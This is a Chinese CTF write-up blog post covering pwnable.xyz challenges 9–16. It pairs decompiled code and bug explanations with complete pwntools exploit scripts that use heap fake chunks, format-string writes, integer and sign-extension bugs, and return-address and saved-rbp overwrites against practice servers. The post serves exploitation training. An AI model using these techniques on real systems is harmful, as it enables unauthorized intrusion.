嫌麻烦看pdf
一起学pwn系列2.pdf (1.2 MB)
pwnable.xyz 9-16题题解
free spirit
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rdi
signed __int64 i; // rcx
int v5; // eax
__int64 v7; // [rsp+8h] [rbp-60h]
char *buf; // [rsp+10h] [rbp-58h]
char nptr; // [rsp+18h] [rbp-50h]
unsigned __int64 v10; // [rsp+48h] [rbp-20h]
v10 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
buf = (char *)malloc(0x40uLL);
while ( 1 )
{
while ( 1 )
{
_printf_chk(1LL, (__int64)"> ");
v3 = &nptr;
for ( i = 12LL; i; --i )
{
*(_DWORD *)v3 = 0;
v3 += 4;
}
read(0, &nptr, 0x30uLL);
v5 = atoi(&nptr);
if ( v5 != 1 )
break;
__asm { syscall; LINUX - sys_read }
}
if ( v5 <= 1 )
break;
if ( v5 == 2 )
{
_printf_chk(1LL, (__int64)"%p\n");
}
else if ( v5 == 3 )
{
if ( (unsigned int)limit <= 1 )
_mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));
}
else
{
LABEL_16:
puts("Invalid");
}
}
if ( v5 )
goto LABEL_16;
if ( !buf )
exit(1);
free(buf);
return 0;
}
不断利用3和1来写任意地址内容,2可以读取一次栈地址,于是可以计算出返回地址。思路很清晰,主要难在最后有个free,需要构造fake chunk.
注意 free的p指针&8必须为0 否则无法通过free的校验
exp:
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30005")
p.sendlineafter("> ","2")
sleep(0.1)
rsp_10 = int(p.recv(14),16)
log.info(rsp_10)
p.sendlineafter("> ","1")
ret_addr=rsp_10+0x50+0x8
win_addr=0x400a3e
p.sendline("A"*8+p64(ret_addr))
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
sleep(1)
p.send(p64(win_addr)+p64(0x601080))
sleep(1)
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
#gdb.attach(p)
sleep(1)
pause()
p.send(p64(1)+p64(0x601060)+p64(0)+p64(0x21))
sleep(1)
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
sleep(1)
p.send(p64(0)+p64(0x601080)+p64(0)+p64(0x21))
p.sendlineafter("> ","3")
p.sendlineafter("> ","a")
p.interactive()
free的p指针&8必须为0
tlsv00
源码如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
signed int v4; // eax
unsigned int v5; // ST0C_4
setup(*(_QWORD *)&argc, argv, envp);
puts("Muahaha you thought I would never make a crypto chal?");
v3 = (_BYTE *)(&word_3E + 1);
generate_key(63);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu(v3);
v3 = "> ";
printf("> ");
v4 = read_int32();
if ( v4 != 2 )
break;
load_flag();
}
if ( v4 > 2 )
break;
if ( v4 != 1 )
goto LABEL_12;
printf("key len: ");
v5 = read_int32();
v3 = (const char *)v5;
generate_key(v5);
}
if ( v4 == 3 )
{
print_flag();
}
else if ( v4 != 4 )
{
LABEL_12:
v3 = "Invalid";
puts("Invalid");
}
}
}
generate_key:
unsigned __int64 __fastcall generate_key(signed int a1)
{
signed int i; // [rsp+18h] [rbp-58h]
int fd; // [rsp+1Ch] [rbp-54h]
char s[72]; // [rsp+20h] [rbp-50h]
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
{
memset(s, 0, 0x48uLL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, s, a1);
for ( i = 0; i < a1; ++i )
{
while ( !s[i] )
read(fd, &s[i], 1uLL);
}
strcpy(key, s);
close(fd);
}
else
{
puts("Invalid key size");
}
return __readfsqword(0x28u) ^ v5;
}
load_flag:
int load_flag()
{
unsigned int i; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Can't open flag");
exit(1);
}
read(fd, flag, 0x40uLL);
for ( i = 0; i <= 0x3F; ++i )
flag[i] ^= key[i];
return close(fd);
}
print_flag:
__int64 print_flag()
{
__int64 result; // rax
puts("WARNING: NOT IMPLEMENTED.");
result = (unsigned __int8)do_comment;
if ( !(_BYTE)do_comment )
{
printf("Wanna take a survey instead? ");
if ( getchar() == 121 )
do_comment = (__int64 (*)(void))f_do_comment;
result = do_comment();
}
return result;
}
f_do_comment:
unsigned __int64 f_do_comment()
{
char buf; // [rsp+10h] [rbp-30h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter comment: ");
read(0, &buf, 0x21uLL);
return __readfsqword(0x28u) ^ v2;
}
还有一个没有被调用到的函数
int real_print_flag()
{
return printf("%s", flag);
}
神奇的是他的位置在
b00,b1f 看下bss地址
当generate_key函数s是40位的时候,strcpy(key,s)会把do_comment的低位改成00于是b1f被覆盖成b00,但是这时只能打印被加密的flag。然鹅,还是strcpy的特性,当生产一个新的秘钥的时候比如只生成1位,那么第2位为00,00^任何值还是它本身,于是逐位读取flag。
exp:
from pwn import *
#context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30006)
p.sendlineafter("> ","2")
p.sendlineafter("> ","3")
p.sendlineafter("? ","y")
p.sendlineafter("> ","1")
p.sendlineafter(": ","64")
p.sendlineafter("> ","3")
p.sendlineafter("? ","a")
s=""
i=1
while(i<64):
p.sendlineafter("> ","1")
p.sendlineafter(": ",str(i))
p.sendlineafter("> ","2")
p.sendlineafter("> ","3")
p.sendlineafter("? ","s")
s+=p.recv(i+1)[-1]
i+=1
print s
sleep(0.1)
print s
p.interactive()
strcpy这种注意会多带一个\x00
jumple table
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // [rsp+Ch] [rbp-4h]
setup(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_long();
if ( v3 <= 4 )
(*(&vtable + v3))();
else
puts("Invalid.");
}
}
int print_menu()
{
return puts("1. Malloc\n2. Free\n3. Read\n4. Write\n0. Exit");
}
void __noreturn do_exit()
{
puts("Bye.");
exit(1);
}
void *do_malloc()
{
unsigned __int64 v0; // rax
void *result; // rax
printf("Size: ");
v0 = read_long();
size = v0;
result = malloc(v0);
if ( result )
heap_buffer = result;
else
heap_buffer = (void *)1;
return result;
}
void do_free()
{
if ( heap_buffer == (void *)1 )
{
puts("Not allocated.");
}
else
{
free(heap_buffer);
heap_buffer = (void *)1;
}
}
int do_read()
{
int result; // eax
if ( heap_buffer == (void *)1 )
result = puts("Not allocated.");
else
result = read(0, heap_buffer, size);
return result;
}
int do_write()
{
int result; // eax
if ( heap_buffer == (void *)1 )
result = puts("Not allocated.");
else
result = write(1, heap_buffer, size);
return result;
}
这个题一开始以为是个堆溢出的题,看了很久没有思路。后来重新看了眼题目标题 jumple table 于是灵光一闪...
main函数
(*(&vtable + v3))();
v3可控,直接跳转到win即可
exp:
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30007)
p.readuntil("> ")
p.sendline("1")
p.sendlineafter(": ","4196913")
#gdb.attach(p)
p.sendlineafter("> ","-2")
p.interactive()
# 注意检查int 的符号
总结:当函数表存在时,看看指针是否可控。
l33t-ness
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(*(_QWORD *)&argc, argv, envp);
puts("The l33t-ness level.");
if ( (unsigned __int8)round_1("The l33t-ness level.") && (unsigned __int8)round_2() && (unsigned __int8)round_3() )
win();
return 0;
}
_BOOL8 round_1()
{
_BOOL8 result; // rax
int v1; // [rsp+8h] [rbp-38h]
int v2; // [rsp+Ch] [rbp-34h]
char s; // [rsp+10h] [rbp-30h]
__int64 v4; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("=== 1eet ===");
memset(&s, 0, 0x20uLL);
printf("x: ", 0LL);
read(0, &s, 0x10uLL);
printf("y: ", &s);
read(0, &v4, 0x10uLL);
if ( strchr(&s, 45) || strchr((const char *)&v4, 45) )
return 0LL;
v1 = atoi(&s);
v2 = atoi((const char *)&v4);
if ( v1 <= 1336 && v2 <= 1336 )
result = v1 - v2 == 1337;
else
result = 0LL;
return result;
}
_BOOL8 round_2()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("=== t00leet ===");
v1 = 0;
v2 = 0;
_isoc99_scanf("%d %d", &v1, &v2);
return v1 > 1 && v2 > 1337 && v1 * v2 == 1337;
}
_BOOL8 round_3()
{
signed int i; // [rsp+0h] [rbp-30h]
__int64 v2; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]
int v4; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("=== 3leet ===");
v2 = 0LL;
v3 = 0LL;
v4 = 0;
_isoc99_scanf("%d %d %d %d %d", &v2, (char *)&v2 + 4);
for ( i = 1; i <= 4; ++i )
{
if ( *((_DWORD *)&v2 + i) < *((_DWORD *)&v2 + i - 1) )
return 0LL;
}
return HIDWORD(v3) + (_DWORD)v3 + HIDWORD(v2) + (_DWORD)v2 + v4 == HIDWORD(v3)
* (_DWORD)v3
* HIDWORD(v2)
* (_DWORD)v2
* v4;
}
这题没啥好说的都是基础吧。最后一关其实没看懂最后一个retun,反正要相等嘛中间写个0就好XD
exp:
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30008)
p.readuntil("x: ")
p.sendline("1")
p.sendlineafter("y: ","4294965960")
p.sendlineafter("=\n","3 1431656211")
p.sendlineafter("=\n","-2 -1 0 1 2")
p.interactive()
#gdb.attach(p)
game
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
signed int v4; // eax
setup();
v3 = "Shell we play a game?";
puts("Shell we play a game?");
init_game();
while ( 1 )
{
while ( 1 )
{
print_menu(v3, argv);
v3 = "> ";
printf("> ");
v4 = read_int32();
if ( v4 != 1 )
break;
(*((void (**)(void))cur + 3))();
}
if ( v4 > 1 )
{
if ( v4 == 2 )
{
save_game();
}
else
{
if ( v4 != 3 )
goto LABEL_13;
edit_name();
}
}
else
{
if ( !v4 )
exit(1);
LABEL_13:
v3 = "Invalid";
puts("Invalid");
}
}
}
char *init_game()
{
char *result; // rax
saves[0] = (__int64)malloc(0x20uLL);
cur = (char *)find_last_save(32LL);
printf("Name: ");
read(0, cur, 0x10uLL);
result = cur;
*((_QWORD *)cur + 3) = play_game;
return result;
}
int print_menu()
{
printf("Score: %d\n", (unsigned int)*((signed __int16 *)cur + 8));
return puts("Menu:\n1. Play game\n2. Save game\n3. Edit name\n0. Exit");
}
unsigned __int64 play_game()
{
__int16 v0; // dx
__int16 v1; // dx
__int16 v2; // dx
__int16 v3; // dx
int fd; // [rsp+Ch] [rbp-124h]
int v6; // [rsp+10h] [rbp-120h]
unsigned int buf; // [rsp+14h] [rbp-11Ch]
unsigned int v8; // [rsp+18h] [rbp-118h]
unsigned __int8 v9; // [rsp+1Ch] [rbp-114h]
char s; // [rsp+20h] [rbp-110h]
unsigned __int64 v11; // [rsp+128h] [rbp-8h]
v11 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, &buf, 0xCuLL);
close(fd);
v9 &= 3u;
memset(&s, 0, 0x100uLL);
snprintf(&s, 0x100uLL, "%u %c %u = ", buf, (unsigned int)ops[v9], v8);
printf("%s", &s);
v6 = read_int32();
if ( v9 == 1 )
{
if ( buf - v8 == v6 )
v1 = *((_WORD *)cur + 8) + 1;
else
v1 = *((_WORD *)cur + 8) - 1;
*((_WORD *)cur + 8) = v1;
}
else if ( (signed int)v9 > 1 )
{
if ( v9 == 2 )
{
if ( buf / v8 == v6 )
v2 = *((_WORD *)cur + 8) + 1;
else
v2 = *((_WORD *)cur + 8) - 1;
*((_WORD *)cur + 8) = v2;
}
else if ( v9 == 3 )
{
if ( v8 * buf == v6 )
v3 = *((_WORD *)cur + 8) + 1;
else
v3 = *((_WORD *)cur + 8) - 1;
*((_WORD *)cur + 8) = v3;
}
}
else if ( !v9 )
{
if ( v8 + buf == v6 )
v0 = *((_WORD *)cur + 8) + 1;
else
v0 = *((_WORD *)cur + 8) - 1;
*((_WORD *)cur + 8) = v0;
}
return __readfsqword(0x28u) ^ v11;
}
ssize_t edit_name()
{
size_t v0; // rax
v0 = strlen(cur);
return read(0, cur, v0);
}
int save_game()
{
_QWORD *v0; // rcx
__int64 v1; // rdx
__int64 v2; // rdx
__int64 v3; // rax
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 1; i <= 4; ++i )
{
if ( !saves[i] )
{
saves[i] = (__int64)malloc(0x20uLL);
v0 = (_QWORD *)saves[i];
v1 = *((_QWORD *)cur + 1);
*v0 = *(_QWORD *)cur;
v0[1] = v1;
*(_QWORD *)(saves[i] + 16) = *((signed __int16 *)cur + 8);
*(_QWORD *)(saves[i] + 24) = play_game;
v2 = i;
v3 = saves[v2];
cur = (char *)saves[v2];
return v3;
}
}
LODWORD(v3) = puts("Not enough space.");
return v3;
}
一个简单的算加减乘除的游戏,乍一看完全没有问题,唯一可能有问题的就是这个edit_name,但是cur长度判断过了。于是思路就变成了想办法改cur的长度,从而导致play_game的指针可修改。
最后发现
save_game的
*(_QWORD *)(saves[i] + 16) = *((signed __int16 *)cur + 8);
这个地方会把一个有符号的2字节扩展成无符号的8字节。于是-1=0xffffffffffffffff pwn~
exp:
#coding:utf-8
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30009)
p.sendlineafter("Name: ","11111111111111111")
p.sendlineafter("= ","1")
#p.sendlineafter("> ","1")
#data=p.recvuntil("=")
#sss=eval(data[:-1])
#p.sendline(str(sss%(2**32)))
#p.sendlineafter("> ","2")
#p.sendlineafter("> ","2")
#p.sendlineafter("> ","2")
p.sendlineafter("> ","2")
p.sendlineafter("> ","3")
p.send("1"*0x18+p64(0x314009D6))
#p.sendlineafter("> ","1")
p.interactive()
fsp00
这题做了我一年...
int __cdecl main(int argc, const char **argv, const char **envp)
{
setup(&argc);
printf("Name: ");
read(0, (char *)&cmd + 48, 0x1Fu);
vuln();
return 0;
}
很明显提示漏洞在vuln
char *setup()
{
char *result; // eax
setvbuf((FILE *)&IO_2_1_stdout_, 0, 2, 0);
setvbuf((FILE *)&IO_2_1_stdin_, 0, 2, 0);
signal(14, (__sighandler_t)handler);
alarm(0x3Cu);
result = cmd;
*(_DWORD *)&cmd[32] = 'uneM';
*(_WORD *)&cmd[36] = '\n:';
cmd[38] = 0;
return result;
}
unsigned int vuln()
{
int v1; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
while ( 1 )
{
while ( 1 )
{
printf(&cmd[32]);
puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
printf("> ");
__isoc99_scanf("%d", &v1);
getchar();
if ( (unsigned __int8)v1 != 1 )
break;
printf("Name: ");
read(0, &cmd[48], 0x1Fu);
}
if ( (signed int)(unsigned __int8)v1 <= 1 )
break;
if ( (unsigned __int8)v1 == 2 )
{
sprintf(cmd, (const char *)&unk_B7B, &cmd[48]);
}
else if ( (unsigned __int8)v1 == 3 )
{
puts(cmd);
}
else
{
LABEL_12:
puts("Invalid");
}
}
if ( (_BYTE)v1 )
goto LABEL_12;
return __readgsdword(0x14u) ^ v2;
}
找了好久找不到漏洞,最后终于发现...当name输入0x1f位时,
sprintf(cmd, (const char *)&unk_B7B, &cmd[48]);
会导致 0x1f+7>32
于是
printf(&cmd[32]);
这个地方会有6位的格式化字符串。
一个带偏移的写地址格式化字符串最少字符1%1$n也就是5位。
现在具备往一个比较近的栈地址上的地址写1字节的能力,以及读取一个比较近的栈地址的能力。(binary保护全开)
看看栈上的情况。断点下在 printf(&cmd[32]);
from pwn import *
context.log_level="debug"
p=process("./challenge")
#p=remote("svc.pwnable.xyz","30010")
sda=p.sendlineafter
gdb.attach(p)
sda(": ","a"*25+'aaaaa')
sda("> ","2")
p.interactive()
可以看到这边栈地址能控制的就只有0x2这个地方,这其实是代码中的
sda("> ","2")
其实就是vuln中的int v1;那么我们其实可以修改v1,从而达到任意地址1字节修改。
cmd的内存如下
于是我们可以通过覆盖标红的00,达到控制的字符增大。所以可以通过填充返回地址达到修改返回地址。
exp:
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30010")
sda=p.sendlineafter
sda(": ","a"*25+'%11$xa')
#
sda("> ","2")
sda("> ","3")
p.recvuntil("\n")
main_recv="0x"+p.recv(8)
print "main_recv: "+main_recv
flag_add=int(main_recv,16)-122
sda("> ","1")
sda(": ","a"*25+'%2$xaa')
sda("> ","2")
bss="0x"+p.recv(8)
sda("> ","3")
p.recvuntil("\n")
stack="0x"+p.recv(8)
print stack
log.info(bss)
retr=int(stack,16)+4
print "retr:"+hex(retr)
sda("> ","1")
sda(": ","a"*25+'A%6$na')
sda("> ",str(int(bss,16)-0x70+0x102))
for i in range(11)[::-1]:
sda("> ",str(int(bss,16)-i))
sda("> ",str(int(bss,16)-0x70+0x101))
news = flag_add%(16**4)
print news
print news%(16**3)
flaghigh=flag_add/(16**4)
len1=len(str(news))
fuckd=news-12
sda(": ","%"+str(fuckd)+"c%6$n"+"a"*(31-6-len1))
#sda("> ",str(int(bss,16)-0x70+0x102))
sda("> ",str(retr-2**32))#-1
sda("> ",str(int(bss,16)-0x70+0x101))
#gdb.attach(p)
sda(": ","%"+str(flaghigh-12)+"c%6$n"+"a"*(31-6-len1))
sda("> ",str(retr-2**32+2))
#sda("> ",str(int(bss,16)-0x70+0x104))
#sda("> ",str(int(bss,16)-0x70+0x103))
#num_low = str(news-27)
p.interactive()
sus
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
signed int v4; // eax
setup(*(_QWORD *)&argc, argv, envp);
v3 = "SUS - Single User Storage.";
puts("SUS - Single User Storage.");
while ( 1 )
{
while ( 1 )
{
print_menu(v3);
v3 = "> ";
printf("> ");
v4 = read_int32();
if ( v4 != 1 )
break;
create_user();
}
if ( v4 <= 1 )
break;
if ( v4 == 2 )
{
print_user();
}
else if ( v4 == 3 )
{
edit_usr();
}
else
{
LABEL_13:
v3 = "Invalid";
puts("Invalid");
}
}
if ( v4 )
goto LABEL_13;
return 0;
}
int print_menu()
{
return puts("Menu:\n1. Create user.\n2. Print user.\n3. Edit user.\n4. Exit.");
}
unsigned __int64 create_user()
{
void *s; // [rsp+0h] [rbp-1060h]
unsigned __int64 v2; // [rsp+1058h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !s )
{
s = malloc(0x20uLL);
memset(s, 0, 0x20uLL);
}
printf("Name: ", s);
read(0, s, 0x20uLL);
printf("Age: ", s, s);
read_int32();
cur = (__int64)&s;
return __readfsqword(0x28u) ^ v2;
}
int print_user()
{
int result; // eax
result = cur;
if ( cur )
{
printf("User: %s\n", *(_QWORD *)cur);
result = printf("Age: %d\n", *(unsigned int *)(cur + 72));
}
return result;
}
unsigned __int64 edit_usr()
{
__int64 v0; // rsi
__int64 v1; // rbx
unsigned __int64 v3; // [rsp+1018h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( cur )
{
printf("Name: ");
v0 = *(_QWORD *)cur;
read(0, *(void **)cur, 0x20uLL);
printf("Age: ", v0);
v1 = cur;
*(_DWORD *)(v1 + 72) = read_int32();
}
return __readfsqword(0x28u) ^ v3;
}
int read_int32()
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, &buf, 0x20uLL);
return atoi(&buf);
}
这题比较简单 edit_usr 这个 *(_DWORD *)(v1 + 72) = read_int32();
显然有漏洞,调一下就可以。
exp:
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30011")
sda=p.sendlineafter
sda("> ","1")
sda(": ","aaaaaaaaaaaaaaaaaaaaaaaa")
sda(": ","123")
#gdb.attach(p)
sda("> ","3")
sda(": ","aaaaaaaaaaaaaaaaaaaaaaaa")
sda(": ","a"*16+p64(0x602268))
sda("> ","2")
p.readuntil("User: ")
stack=u64(p.recv(6)+"\x00\x00")
retn_72=stack+4128
sda("> ","3")
sda(": ",p64(retn_72))
p.readuntil(": ")
p.send("4197233")
sda("> ","4")
p.interactive()
JUMP
这题本来感觉搞不定了,然后就搞定了XD.
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
unsigned __int8 v4; // [rsp+2Fh] [rbp-11h]
__int64 v5; // [rsp+30h] [rbp-10h]
void *v6; // [rsp+38h] [rbp-8h]
setup(*(_QWORD *)&argc, argv, envp);
v5 = gen_canary();
v3 = "Jump jump\n"
"The Mac Dad will make you jump jump\n"
"Daddy Mac will make you jump jump\n"
"The Daddy makes you J-U-M-P\n";
puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
v6 = &loc_BA0;
while ( 1 )
{
print_menu(v3);
v3 = "> ";
printf("> ");
v4 = read_int8();
switch ( v4 )
{
case 2u:
v6 = (void *)(signed int)((unsigned int)v6 ^ v4);
break;
case 3u:
v3 = "%p\n";
printf("%p\n", environ);
break;
case 1u:
if ( v5 == canary )
JUMPOUT(__CS__, v6);
break;
default:
v3 = "Invalid";
puts("Invalid");
break;
}
}
}
__int64 gen_canary()
{
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom.");
exit(1);
}
if ( read(fd, &canary, 8uLL) != 8 )
{
puts("Can't read data.");
exit(1);
}
close(fd);
return canary;
}
int read_int8()
{
char buf; // [rsp+0h] [rbp-20h]
read(0, &buf, 0x21uLL);
return atoi(&buf);
}
代码非常简单,打印一个栈地址,jump到v6,修改v6。
但是修改v6只能改成0x2^0xba0 而win的地址是0xb77显然不行
而read_int8明星有个栈溢出,从而修改ebp。问题就在于怎么通过修改ebp来修改0xba0。
于是有了一个思路,先修改ebp改掉v6然后再跳回原来的ebp,从而jump到v6。怎么修改v6的最后一个字节呢?
看到v4其实是$rbp+var_11
那么把$rbp 改成v6-0x11的地址即可
exp:
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30012")
sda=p.sendlineafter
sda("> ","3")#-0x60
p.recv(12)
byte0=p.recv(2)
log.info(byte0)
byte1=hex((int("0x1"+byte0,16)-0xef)%0x100)[2:]
print byte1
sda("> ","3"*32+byte1.decode("hex"))
sda("> ","119")
sleep(1)
sda("> ","119")
byte2=hex((int("0x1"+byte0,16)-0xef-1-0x08)%0x100)[2:]
#gdb.attach(p)
sda("> ","3"*32+byte2.decode("hex"))
sda("> ","5")
sleep(1)
sda("> ","1")
p.interactive()